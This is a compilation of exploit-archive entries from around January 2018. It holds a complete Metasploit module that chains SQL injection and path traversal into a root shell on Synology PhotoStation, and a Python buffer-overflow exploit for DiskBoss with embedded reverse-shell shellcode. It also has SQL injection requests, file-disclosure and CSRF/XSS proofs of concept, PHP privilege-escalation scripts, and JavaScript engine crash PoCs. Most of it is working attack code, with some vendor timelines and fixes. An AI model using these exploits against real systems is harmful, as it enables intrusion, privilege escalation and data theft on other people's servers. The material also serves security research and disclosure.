function main() {
for (let i = 0; i < 0x1000; i++) {
opt();
}
print(opt()); // deref uninitialized stack pointers!
}
main();
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Synology PhotoStation Multiple Vulnerabilities",
'Description' => %q{
This module exploits multiple vulnerabilities in Synology PhotoStation.
When combined these issues can be leveraged to gain a remote root shell.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Bercegay',
],
'References' =>
[
[ 'URL', 'http://gulftech.org/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2018-01-08',
'DefaultTarget' => 0))
register_options(
[
OptString.new('DSMPORT', [ true, "The default DSM port", '5000']),
])
end
def check
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; SELECT user; -- "
},
})
if res and res.body =~ /PhotoStation/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
rnum = rand(1000)
rstr = Rex::Text.rand_text_alpha(10)
uuid = rnum # User ID
upwd = rstr # User Password
uusr = rstr # User name
vol1 = '/volume1'
audb = '/usr/syno/etc/private/session/current.users'
###########################################################################
# STEP 00: Force PhotoStation to NOT use DSM for the authentication system
###########################################################################
print_status("Switching authentication system to PhotoStation via SQL Injection")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; UPDATE photo_config SET config_value=0 WHERE config_key='account_system'; -- "
},
})
###########################################################################
# STEP 01: Create an admin user
###########################################################################
print_status("Creating admin user: #{uusr} => #{upwd}")
# Password hash
umd5 = Rex::Text.md5(upwd)
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; INSERT INTO photo_user (userid, username, password, admin) VALUES (#{uuid}, '#{uusr}', '#{umd5}', TRUE); -- "
},
})
###########################################################################
# STEP 02: Authenticate and store session identifier
###########################################################################
print_status("Authenticating as admin user: #{uusr}")
res = send_request_cgi(
{
'uri' => '/photo/webapi/auth.php',
'method' => 'POST',
'vars_post' =>
{
'api' =>'SYNO.PhotoStation.Auth',
'method' => 'login',
'version' =>'1',
'username' => uusr,
'password' => upwd,
'enable_syno_token' => 'TRUE',
},
})
if not res or not res.headers or not res.headers['Set-Cookie']
print_error("Unable to retrieve session identifier! Aborting ...")
return
end
uckv = res.headers['Set-Cookie']
psid = /PHPSESSID=([a-z0-9]+);/.match(uckv)[1]
print_status("Got PHP Session ID: #{psid}")
###########################################################################
# STEP 03: Delete any existing path names used from the database
###########################################################################
print_status("Making sure there are no duplicate path index conflicts ...")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; DELETE FROM video WHERE path='#{audb}'; -- "
},
})
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; DELETE FROM video WHERE path='#{vol1}/photo///current.users'; -- "
},
})
###########################################################################
# STEP 04: Create a record for our malicious path in the database
###########################################################################
print_status("Creating video record with bad 'path' data via SQL injection")
res = send_request_cgi(
{
'uri' => '/photo/include/blog/label.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'get_article_label',
'article_id' => "1; INSERT INTO video (id, path, title, container_type) VALUES (#{rnum}, '#{audb}', '#{rstr}', '#{rstr}'); -- "
},
})
###########################################################################
# STEP 05: Copy session database as root, to the web directory for reading
###########################################################################
print_status("Making a copy of the session db as root via synophotoio")
res = send_request_cgi(
{
'uri' => '/photo/include/photo/album_util.php',
'method' => 'POST',
'vars_post' =>
{
'action' =>'copy_items',
'destination' => '2f',
'video_list' => rnum
},
'cookie' => uckv
})
###########################################################################
# STEP 06: Move the session db copy to the web root for retrieval
###########################################################################
print_status("Moving session db to webroot for retrieval")
res = send_request_cgi(
{
'uri' => '/photo/include/file_upload.php',
'method' => 'POST',
'vars_get' =>
{
# /../@appstore/PhotoStation/photo/
'dir' =>'2f2e2e2f4061707073746f72652f50686f746f53746174696f6e2f70686f746f2f',
'name' => "2f",
'fname' => "#{rstr}",
'sid' => "#{psid}",
'action' => 'aviary_add',
},
'vars_post' =>
{
'url' => 'file://' + vol1 + '/photo/current.users'
},
'cookie' => uckv
})
###########################################################################
# STEP 07: Retrieve and read the session db
###########################################################################
print_status("Attempting to read session db")
res = send_request_cgi(
{
'uri' => "/photo/#{rstr}.jpg",
'method' => 'GET'
})
if not res or not res.body
print_error("Unable to retrieve session file! Aborting ...")
return
end
host = /"host": "([^"]+)"/.match(res.body)[1]
sess = /"id": "([^"]+)"/.match(res.body)[1]
syno = /"synotoken": "([^"]+)"/.match(res.body)[1]
print_status("Extracted admin session: #{sess} @ #{host}")
###########################################################################
# STEP 08: Registering files for cleanup
###########################################################################
# Uncomment for cleanup functionality
# register_files_for_cleanup("#{vol1}/photo/current.users")
# register_files_for_cleanup("#{vol1}/@appstore/PhotoStation/photo/#{rstr}.jpg")
###########################################################################
# STEP 09: Create a task containing our payload
###########################################################################
print_status("Creating privileged task to run as root")
# Switch to DSM port from here on out
datastore['RPORT'] = datastore['DSMPORT']
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'name' => '"whatevs"',
'owner' => '"root"',
'enable' => 'true',
'schedule' =>'{"date_type":0,"week_day":"0,1,2,3,4,5,6","hour":0,"minute":0,"repeat_hour":0,"repeat_min":0,"last_work_hour":0,"repeat_min_store_config":[1,5,10,15,20,30],"repeat_hour_store_config":[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23]}',
'extra' => '{"notify_enable":false,"script":"' + payload.encoded.gsub(/"/,'\"') + '","notify_mail":"","notify_if_error":false}',
'type' => '"script"',
'api' => 'SYNO.Core.TaskScheduler',
'method' => 'create',
'version' => '2',
},
'cookie' => "id=#{sess}"
})
if not res or not res.body
print_error("Unable to create task! Aborting ...")
return
end
task = /{"id"\d+)},"success":true}/.match(res.body)[1]
print_status("Task created successfully: ID => #{task}")
###########################################################################
# STEP 10: Execute the selected payload
###########################################################################
print_status("Running selected task as root. Get ready for shell!")
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'stop_when_error' => 'false',
'mode' => '"sequential"',
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"run","version":1,"task":[' + task + ']}]',
'api' => 'SYNO.Entry.Request',
'method' => 'request',
'version' => '1'
},
'cookie' => "id=#{sess}"
})
###########################################################################
# STEP 11: Delete payload task from scheduler
###########################################################################
print_status("Deleting malicious task from task scheduler")
res = send_request_cgi(
{
'uri' => '/webapi/entry.cgi',
'headers' =>
{
'X-SYNO-TOKEN' => syno,
'Client-IP' => host
},
'method' => 'POST',
'vars_post' =>
{
'stop_when_error' => 'false',
'mode' => '"sequential"',
'compound' => '[{"api":"SYNO.Core.TaskScheduler","method":"delete","version":1,"task":[' + task + ']}]',
'api' => 'SYNO.Entry.Request',
'method' => 'request',
'version' => '1'
},
'cookie' => "id=#{sess}"
})
end
end
# Exploit Title: DiskBoss <= 8.8.16 - Unauthenticated Remote Code Execution
# Date: 2017-08-27
# Exploit Author: Arris Huijgen
# Vendor Homepage: http://www.diskboss.com/
# Software Link: http://www.diskboss.com/setups/diskbossent_setup_v8.8.16.exe
# Version: Through 8.8.16
# Tested on: Windows 7 SP1 x64, Windows XP SP3 x86
# CVE: CVE-2018-5262
# Usage
# 1. Update the Target section
# 2. Update the shellcode
# 3. Launch!
import socket
from struct import pack
# Software editions (port, offset)
free8416 = (8096, 0x10036e9a) # ADD ESP,8 | RET 0x04 @ libdbs.dll
pro8416 = (8097, 0x10036e9a) # ADD ESP,8 | RET 0x04 @ libdbs.dll
ult8416 = (8098, 0x10036e9a) # ADD ESP,8 | RET 0x04 @ libdbs.dll
srv8416 = (8094, 0x1001806e) # ADD ESP,8 | RET 0x04 @ libpal.dll
ent8416 = (8094, 0x1001806e) # ADD ESP,8 | RET 0x04 @ libpal.dll
ent8512 = (8094, 0x100180ee) # ADD ESP,8 | RET 0x04 @ libpal.dll
free8816 = (8096, 0x10037f6a) # ADD ESP,8 | RET 0x04 @ libdbs.dll
pro8816 = (8097, 0x10037f6a) # ADD ESP,8 | RET 0x04 @ libdbs.dll
ult8816 = (8098, 0x10037f6a) # ADD ESP,8 | RET 0x04 @ libdbs.dll
srv8816 = (8094, 0x100180f9) # ADD ESP,8 | RET 0x04 @ libpal.dll
ent8816 = (8094, 0x100180f9) # ADD ESP,8 | RET 0x04 @ libpal.dll
# Target
host = '127.0.0.1'
(port, addr) = ent8816
def main():
# Connect
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print '[+] Connected to %s:%d' % (host, port)
# Memory
size = 1000
offset = 128
# Payload
preret = '\xEB\x06\x90\x90' # JMP 0x06
ret = pack('<I', addr) # Depending on the software edition
pivot = '\xe9\x3f\xfb\xff\xff' # JMP -0x4BC
# msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1234 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b '\x00'
# Payload size: 351 bytes
sc = (
"\xb8\x80\xac\x48\x8f\xd9\xc4\xd9\x74\x24\xf4\x5d\x2b\xc9\xb1"
"\x52\x31\x45\x12\x03\x45\x12\x83\x45\xa8\xaa\x7a\xb9\x59\xa8"
"\x85\x41\x9a\xcd\x0c\xa4\xab\xcd\x6b\xad\x9c\xfd\xf8\xe3\x10"
"\x75\xac\x17\xa2\xfb\x79\x18\x03\xb1\x5f\x17\x94\xea\x9c\x36"
"\x16\xf1\xf0\x98\x27\x3a\x05\xd9\x60\x27\xe4\x8b\x39\x23\x5b"
"\x3b\x4d\x79\x60\xb0\x1d\x6f\xe0\x25\xd5\x8e\xc1\xf8\x6d\xc9"
"\xc1\xfb\xa2\x61\x48\xe3\xa7\x4c\x02\x98\x1c\x3a\x95\x48\x6d"
"\xc3\x3a\xb5\x41\x36\x42\xf2\x66\xa9\x31\x0a\x95\x54\x42\xc9"
"\xe7\x82\xc7\xc9\x40\x40\x7f\x35\x70\x85\xe6\xbe\x7e\x62\x6c"
"\x98\x62\x75\xa1\x93\x9f\xfe\x44\x73\x16\x44\x63\x57\x72\x1e"
"\x0a\xce\xde\xf1\x33\x10\x81\xae\x91\x5b\x2c\xba\xab\x06\x39"
"\x0f\x86\xb8\xb9\x07\x91\xcb\x8b\x88\x09\x43\xa0\x41\x94\x94"
"\xc7\x7b\x60\x0a\x36\x84\x91\x03\xfd\xd0\xc1\x3b\xd4\x58\x8a"
"\xbb\xd9\x8c\x1d\xeb\x75\x7f\xde\x5b\x36\x2f\xb6\xb1\xb9\x10"
"\xa6\xba\x13\x39\x4d\x41\xf4\x39\x92\x49\x05\xae\x90\x49\x01"
"\xfc\x1c\xaf\x63\x10\x49\x78\x1c\x89\xd0\xf2\xbd\x56\xcf\x7f"
"\xfd\xdd\xfc\x80\xb0\x15\x88\x92\x25\xd6\xc7\xc8\xe0\xe9\xfd"
"\x64\x6e\x7b\x9a\x74\xf9\x60\x35\x23\xae\x57\x4c\xa1\x42\xc1"
"\xe6\xd7\x9e\x97\xc1\x53\x45\x64\xcf\x5a\x08\xd0\xeb\x4c\xd4"
"\xd9\xb7\x38\x88\x8f\x61\x96\x6e\x66\xc0\x40\x39\xd5\x8a\x04"
"\xbc\x15\x0d\x52\xc1\x73\xfb\xba\x70\x2a\xba\xc5\xbd\xba\x4a"
"\xbe\xa3\x5a\xb4\x15\x60\x7a\x57\xbf\x9d\x13\xce\x2a\x1c\x7e"
"\xf1\x81\x63\x87\x72\x23\x1c\x7c\x6a\x46\x19\x38\x2c\xbb\x53"
"\x51\xd9\xbb\xc0\x52\xc8"
)
# Compile payload
fill = 'A' * (offset - len(preret))
code = fill + preret + ret + pivot
nops = '\x90' * (size - len(code) - len(sc) - 100)
payload = code + nops + sc + 'C' * 100
# Compile message
msg = (
'\x75\x19\xba\xab' +
'\x03\x00\x00\x00' +
'\x00\x40\x00\x00' +
pack('<I', len(payload)) +
pack('<I', len(payload)) +
pack('<I', ord(payload[-1])) +
payload
)
# Send message
s.send(msg)
print '[+] Exploit sent!'
if __name__ == '__main__':
main()
# Exploit Title: Muviko 1.1 - Multiple SQL Injection
# Exploit Author: Ahmad Mahfouz
# Contact: http://twitter.com/eln1x
# Date: 09/01/2018
# CVE: CVE-2017-17970
# Vendor Homepage: https://www.muvikoscript.com
# Version: 1.1
# Tested on: Mac OS
--------------------------------------------------------------------------------------------------------
# SQL Injection: login.php form parameter [POST] email
POST /login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
email=admin@dmin.com'%2b(select*from(select(sleep(20)))a)%2b'&password=admxn&login=
--------------------------------------------------------------------------------------------------------
# SQL Injection: load_season.php form parameter [GET] season_id
GET /themes/flixer/ajax/load_season.php?season_id=-19'+union+all+select+1,2,3,4,5,6,7,8,9--+-&season_number=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415
Connection: close
--------------------------------------------------------------------------------------------------------
# SQL Injection get_raring.php parameter [GET] movie_id
GET /themes/flixer/ajax/get_rating.php?movie_id=9'+AND+SLEEP(5)+AND+'AAA'='AAA HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415
Connection: close
--------------------------------------------------------------------------------------------------------
# SQL Injection update_rating.php parameters [GET] rating,movie_id
GET /themes/flixer/ajax/update_rating.php?movie_id=[SQL]&rating=[SQL] HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415
Connection: close
--------------------------------------------------------------------------------------------------------
# SQL Injection set_player_source.php parameters [GET] id
GET /themes/flixer/ajax/set_player_source.php?id=[SQL]&is_series=1&is_embed=0 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=rrnaq7ssxxxxx9g6b7jd7415
Connection: close
# Exploit Title: Worpress Plugin Service Finder Booking < 3.2 - Local File Disclosure
# Google Dork: N/A
# Date: 09/01/2018 (GMT+7)
# Exploit Author: telahdihapus
# Vendor Homepage: https://themeforest.net/user/aonetheme
# Software Link: https://themeforest.net/item/service-finder-service-and-business-listing-wordpress-theme/15208793
# Tested on: windows 10
1. description :
unauthenticated user can access downloads.php, and can disclosure file in server through downloads.php, using method get on 'file=', user/attacker also can disclosure wp-config, or else file
2. POC :
http://victim.com/wp-content/plugins/sf-booking/lib/downloads.php?file=/index.php
3. timeline
- jan 1, 2018 report vendor
- jan 1, 2018 vendor send email
- jan 1, 2018 send poc
- jan 2, 2018 vendor contact team
- jan 8, 2018 vendor send email about fixed issue
4. solution :
update to version 3.2
# Exploit Title: Wichipi Events Calendar - SQL Injection
# Date: 09-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: codecanyon.net/user/wachipi
# Version: 1.0
# CVE-ID: CVE-2018-5315
Events Calendar allows you to easily add to your website a powerful
interactive calendar to present your events.
Found 09-01-18
Vendor reply & fix 09-01-2018
The Wachipi WP Events Calendar plugin 1.0 for WordPress has SQL Injection
via the event_id parameter to event.php.
NOTE: this plugin is NOT related to the Modern Tribe Events Calendar plugin.
[Additional Information]
http://
{TARGET}/event.php?event_id=-123%20union%20all%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--
[Vulnerability Type]
SQL Injection
[Vendor of Product]
https://codecanyon.net/item/wp-events-calendar-plugin/5025660 Wachipi
[Affected Product Code Base]
Events Calendar - 1.0
[Affected Component]
events.php
[Attack Type]
Remote
[Impact Code execution]
true
[Impact Escalation of Privileges]
true
[Impact Information Disclosure]
true
[Attack Vectors]
To exploit, union select 29 columns. User can use 2 or 25 for information
gathering.
[Discoverer]
Dennis Veninga @ Networking4all.com
* Exploit Title: Social Media Widget by Acurax [CSRF]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://www.acurax.com/
* Software Link: https://wordpress.org/plugins/acurax-social-media-widget
* Version: 3.2.5
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress
Description
-----------
Plugin implements AJAX action `acx_asmw_saveorder` which calls back the
function `acx_asmw_saveorder_callback`. The later does not implement any
anti-CSRF controls thus allowing a malicious actor to perform an attack
that could update plugin specific option `social_widget_icon_array_order`.
Vulnerable param is `$_POST['recordsArray']` and it is saved as an
option with the name `social_widget_icon_array_order`.
Leveraging a CSRF could lead to a Persistent XSS (see PoC). Payload will
be served when a user with the right privileges visits plugin's settings
page (`wp-admin/admin.php?page=Acurax-Social-Widget-Settings`).
Vulnerable code is located in file
`acurax-social-media-widget/function.php` line 993:
```
function acx_asmw_saveorder_callback() {
global $wpdb;
$social_widget_icon_array_order = $_POST['recordsArray'];
if ( current_user_can( 'manage_options' ) ) {
$social_widget_icon_array_order = serialize(
$social_widget_icon_array_order );
update_option( 'social_widget_icon_array_order',
$social_widget_icon_array_order );
echo "<div id='acurax_notice' align='center' style='width:
420px; font-family: arial; font-weight: normal; font-size: 22px;'>";
echo "Social Media Icon's Order Saved";
echo "</div><br>";
}
die(); // this is required to return a proper result
}
add_action( 'wp_ajax_acx_asmw_saveorder', 'acx_asmw_saveorder_callback' );
```
PoC
---
In this PoC we leverage the CSRF vulnerabilityt o perform a Persistent
XSS attack. The payload is available in plugin's settings.
```
<pre class="lang:html decode:true "><form method="post" action="http://vuln.test/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="acx_asmw_saveorder">
<input type="text" name="recordsArray[]" value="1'><script>alert(1);</script>">
<button type="submit" value="Submit">Submit</button>
</form>
```
Timeline
--------
1. **2017-12-12**: Discovered
2. **2017-12-12**: Tried to contact plugin's vendor through the contact
form on their website
3. **2017-12-12**: Vendor replied
4. **2017-12-12**: Vendor Received Details
5. **2018-01-02**: Patch released
* Exploit Title: Admin Menu Tree Page View [CSRF, Privilege Escalation]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://eskapism.se/
* Software Link: https://wordpress.org/plugins/admin-menu-tree-page-view
* Version: 2.6.9
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress
Description
-----------
Plugin implements AJAX action `admin_menu_tree_page_view_add_page` which
calls back the function `admin_menu_tree_page_view_add_page`. The later
does not implement any anti-CSRF controls or security checks.
Leveraging a CSRF attack an attacker could perform a Persistent XSS
attack if the victim has administrative rights (see PoC).
The AJAX action is a privileged one so it's only available for
registered users. Even so it doesn't implement any capabilities checks
so it's available to all users no matter the access level. This could
allow any registered user to create arbitrary posts no matter the access
level.
PoC
---
### CSRF -> Persistent XSS
In this PoC we exploit the `$_POST["page_titles"]` param to perform a
Persistent XSS attack.
```
<pre class="lang:html decode:true "><form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="admin_menu_tree_page_view_add_page">
<input type="text" name="type" value="after">
<input type="text" name="pageID" value="1">
<input type="text" name="post_type" value="page">
<input type="text" name="page_titles[]" value="<script>alert(1)</script>">
<input type="text" name="post_status" value="publish">
<button type="submit" value="Submit">Submit</button>
</form>
```
### Create Arbitrary Posts
In this PoC we use a user with subscriber access to create arbitrary
pages. The post\_type is user defined so in the same manner we could
create any post type.
```
#!/usr/bin/env php
<?php
/*******************************************************************************
* Admin Menu Tree Page View [Privilege Escalation]
*
* To install deps run `composer require wordfence/exkit`.
*
* @author Panagiotis Vagenas <pan.vagenas@gmail.com>
* @date 2017-08-09
******************************************************************************/
require_once __DIR__ . '/vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;
Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );
$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
$s->XDebugOn();
Cli::writeInfo( 'Logging in as subscriber...' );
WPAuthentication::logInAsUserRole( $s,
WPAuthentication::USER_ROLE_SUBSCRIBER );
Cli::writeInfo( 'Sending payload...' );
$postData = [
'action' => 'admin_menu_tree_page_view_add_page',
'type' => 'after',
'pageID' => '1',
'post_type' => 'page',
'page_titles' => [ '<script>alert(1)</script>' ],
'post_status' => 'publish',
];
$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);
if(!$r->success || !$r->body == '0'){
ExitCodes::exitWithFailed('Failed to retrieve a valid response');
}
ExitCodes::exitWithSuccess('Exploitation successful');
```
Timeline
--------
1. **2017-12-12**: Discovered
2. **2017-12-12**: Tried to contact plugin author through WordPress.org
support threads
3. **2017-12-13**: Tried to contact plugin author by creating an issue
in plugin's repository on Github
4. **2017-12-13**: Vendor replied
5. **2017-12-14**: Vendor received details
6. **2018-01-07**: Patch released
* Exploit Title: CMS Tree Page View [CSRF, Privilege Escalation]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://eskapism.se/
* Software Link: https://wordpress.org/plugins/cms-tree-page-view
* Version: 1.4
* Tested on: WordPress 4.8.1
* Category: WebApps, WordPress
Description
-----------
Plugin implements AJAX action `cms_tpv_add_page` which calls back the
function `cms_tpv_add_page`. The later does not implement any anti-CSRF
controls or security checks.
Leveraging a CSRF attack an attacker could perform a Persistent XSS
attack if the victim has administrative rights (see PoC).
The AJAX action is a privileged one so it's only available for
registered users. Even so it doesn't implement any capabilities checks
so it's available to all users no matter the access level. This could
allow any registered user to create arbitrary posts no matter the access
level.
PoC
---
### CSRF -> Persistent XSS
In this PoC we exploit the `$_POST["page_titles"]` param to perform a
Persistent XSS attack.
```
<pre class="lang:html decode:true "><form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="cms_tpv_add_page">
<input type="text" name="type" value="after">
<input type="text" name="pageID" value="1">
<input type="text" name="post_type" value="page">
<input type="text" name="page_title" value="<script>alert(2)</script>">
<button type="submit" value="Submit">Submit</button>
</form>
```
### Create Arbitrary Posts
In this PoC we use a user with subscriber access to create arbitrary
pages. The post\_type is user defined so in the same manner we could
create any post type.
```
#!/usr/bin/env php
<?php
/*******************************************************************************
* CMS Tree Page View [Privilege Escalation]
*
* To install deps run `composer require wordfence/exkit`.
*
* @author Panagiotis Vagenas <pan.vagenas@gmail.com>
* @date 2017-08-09
******************************************************************************/
require_once __DIR__ . '/vendor/autoload.php';
use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;
Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );
$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
Cli::writeInfo( 'Logging in as subscriber...' );
WPAuthentication::logInAsUserRole( $s,
WPAuthentication::USER_ROLE_SUBSCRIBER );
Cli::writeInfo( 'Sending payload...' );
$postData = [
'action' => 'cms_tpv_add_page',
'type' => 'after',
'pageID' => '1',
'post_type' => 'page',
'page_title' => date('Y-m-d H:i:s'),
];
$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);
if(!$r->success || $r->body == '0'){
ExitCodes::exitWithFailed('Failed to retrieve a valid response');
}
ExitCodes::exitWithSuccess('Exploitation successful');
```
Timeline
--------
1. **2017-12-12**: Discovered
2. **2017-12-23**: Vendor notified by email
3. **2018-01-06**: Patch released
# Exploit Title: Joomla Plugin Easydiscuss <4.0.21 Persistent XSS in Edit Message
# Date: 06-01-2018
# Software Link: https://stackideas.com/easydiscuss
# Exploit Author: Mattia Furlani
# CVE: CVE-2018-5263
# Category: webapps
1. Description
Whenever a user edits a message with <\textarea> inside the body, everything after the <\textarea> will be executed in the user’s browser. Works with every version up to 4.0.20
2. Proof of Concept
Login with permissions to post a message, insert <\textarea> in the body and add any html code after that, whenever a user tries to edit that message the code writed after you closed the textarea will be executed
3. Solution:
Update to version 4.0.21
https://stackideas.com/blog/easydiscuss4021-update
* Exploit Title: WordPress Download Manager [CSRF]
* Discovery Date: 2017-12-12
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: https://www.wpdownloadmanager.com/
* Software Link: https://wordpress.org/plugins/download-manager
* Version: 2.9.60
* Tested on: WordPress 4.9.1
* Category: WebApps, WordPress
Description
-----------
Plugin implements the AJAX action `wpdm-install-addon` which calls the
function `wpdm_install_addon`. This function doesn't take any anti-CSRF
measures thus making it susceptible to those kind of attacks.
What is interesting about this function though, is the fact that it
provides plugin installation functionality for admin users. The origin of
the package is defined by the `$_REQUEST['addon']` if is set without any
validation.
A malicious actor can exploit this to install a malicious plugin in the
vulnerable site. In fact the install package doesn't need to be a valid
plugin, it could just contain malicious code. Because the package is
extracted in the `/wp-content/plugins/` dir without changing it's original
folder structure, an attacker could leverage the CSRF to upload malicious
code and execute the code on the infected server.
PoC
---
```
<pre class="lang:html decode:true "><form method="post" action="http://vuln.dev/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="wpdm-install-addon">
<label> This is the remote url to get plugin from. Everything is valid as long as it's a ZIP archive and ends with .zip
<input type="text" name="addon" value="https://downloads.wordpress.org/plugin/bbpress.2.5.13.zip">
</label>
<button type="submit" value="Submit">Submit</button>
</form>
```
Solution
--------
Update to version 2.9.61.
Timeline
--------
1. **2017-12-12**: Discovered
2. **2017-12-14**: Tried to reach out to vendor using support email address
3. **2017-12-16**: Vendor replied
4. **2017-12-16**: Vendor received details
5. **2017-12-21**: Vendor released a fix
/*
The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
Here's a snippet of the method.
void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
{
...
IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
...
InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
...
}
At (a), there's no check for integer overflow.
Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.
PoC:
*/
let a = '';
let b = 'A'.repeat(0x10000);
for (let i = 0; i < 0x10000; i++) {
a = 'BBBBBBBBB' + a + b;
}
print(a.length);
print(b.length);
print(a[0]);